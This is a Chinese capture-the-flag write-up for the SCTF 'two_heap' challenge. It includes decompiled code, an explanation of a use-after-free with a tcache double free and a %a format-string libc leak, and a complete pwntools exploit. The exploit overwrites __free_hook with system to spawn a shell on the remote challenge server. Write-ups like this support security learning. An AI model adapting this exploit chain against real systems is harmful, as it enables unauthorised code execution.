two_heap

点击此处获得更好的阅读体验


解题思路

这个题刚开始感觉是和one_heap相同,可能也是爆破,但是发现了size存在限制需要绕过所以就不想one_heap了,这个size限制导致我们只能利用3个左右的堆块。

静态分析

main

这里我也标出了函数,这个函数主要的作用是在leak上,因为printf_chk可以做到用%a去leak,具体可以参考BCTF和HCTF的题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // [rsp+1Ch] [rbp-1Ch]
int v5; // [rsp+24h] [rbp-14h]
unsigned __int64 v6; // [rsp+28h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_12D0(a1, a2, a3);
v4 = 0LL;
v5 = 0;
puts("Welcome to SCTF:");
leak(&v4, 11);
__printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 1 )
break;
add();
}
if ( v3 != 2 )
{
puts("exit.");
exit(0);
}
del();
}
}

add

主要是add了堆块,并且进行了一个位运算使得末尾成为了一个0x0或者是0x8的数,当然这里是可以绕过的,他没有检查堆块size的大小所以可以魔改操作一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 sub_14A0()
{
FILE **v0; // rbp
__int64 v1; // rbx
__int64 **v2; // rax
int v3; // er12
__int64 *v4; // rbp
__int64 **v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-30h]
v0 = (FILE **)&off_4020;
v1 = 0LL;
v7 = __readfsqword(0x28u);
v2 = &off_4020;
while ( v2[1] )
{
++v1;
v2 += 2;
if ( v1 == 8 )
goto LABEL_4;
}
puts("Input the size:");
v3 = sub_13E0("Input the size:") & 0xFFFFFFF8;
if ( v3 > 128 )
goto LABEL_4;
do
{
if ( *(_DWORD *)v0 == v3 )
{
puts("I don't like the same size!");
exit(0);
}
v0 += 2;
}
while ( &stdout != v0 );
v4 = (__int64 *)malloc(v3);
if ( !v4 )
LABEL_4:
exit(0);
puts("Input the note:");
v5 = &(&off_4020)[2 * v1];
leak(v4, v3);
*(_DWORD *)v5 = v3;
v5[1] = v4;
return __readfsqword(0x28u) ^ v7;
}

del

删除函数同样是没有对指针置0,漏洞很明显,就是利用起来比较困难了。这里检查了一下idx是否符合要求。

1
2
3
4
5
6
7
8
9
10
11
12
void sub_15A0()
{
__int64 v0; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-10h]
v1 = __readfsqword(0x28u);
puts("Input the index:");
v0 = (signed int)sub_13E0("Input the index:");
if ( (unsigned __int64)(signed int)v0 > 7 )
exit(0);
if ( __readfsqword(0x28u) == v1 )
free((&off_4020)[2 * v0 + 1]);
}

思路分析

  1. 首先因为存在printf_chk可以用%a去leak,这里有个小技巧,当得到的是p字符的时候用0去替换掉。然后就可以计算出地址,有了leak的地址就容易的多了

  2. 有了leak利用malloc size = 0x1,0x8,0x10,0x18来进行对size的绕过就可以利用了,说实话这个题比one简单。。

感觉这个题目出的可以,都是知识盲区现找现查,学到很多。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
context.log_level = "debug"
#p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
a = ELF("./libc-2.26.so")
p = remote("47.104.89.129",10002)
#gdb.attach(p)#,"b *0x5555555554a0")
def new(size,content):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the size:")
p.sendline(str(size))
p.recvuntil("Input the note:")
p.sendline(content)
def remove(idx):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Input the index:")
p.sendline(str(idx))
def new0(size,content):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the size:")
p.sendline(str(size))
p.recvuntil("Input the note:")
p.send(content)
p.recvuntil("Welcome to SCTF:")
p.sendline("%a"*5)
p.recvuntil("0x0p+00x0p+00x0.0")
lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"]
free_hook = a.symbols["__free_hook"]+lib_addr
system = lib_addr+a.symbols["system"]
print hex(lib_addr)
new0(0x1," ")
remove(0)
remove(0)
raw_input()
new0(0x8,p64(free_hook))
new0(0x10,"\n")
new(24,p64(system))
new(0x60,"/bin/sh\x00")
remove(4)
p.interactive()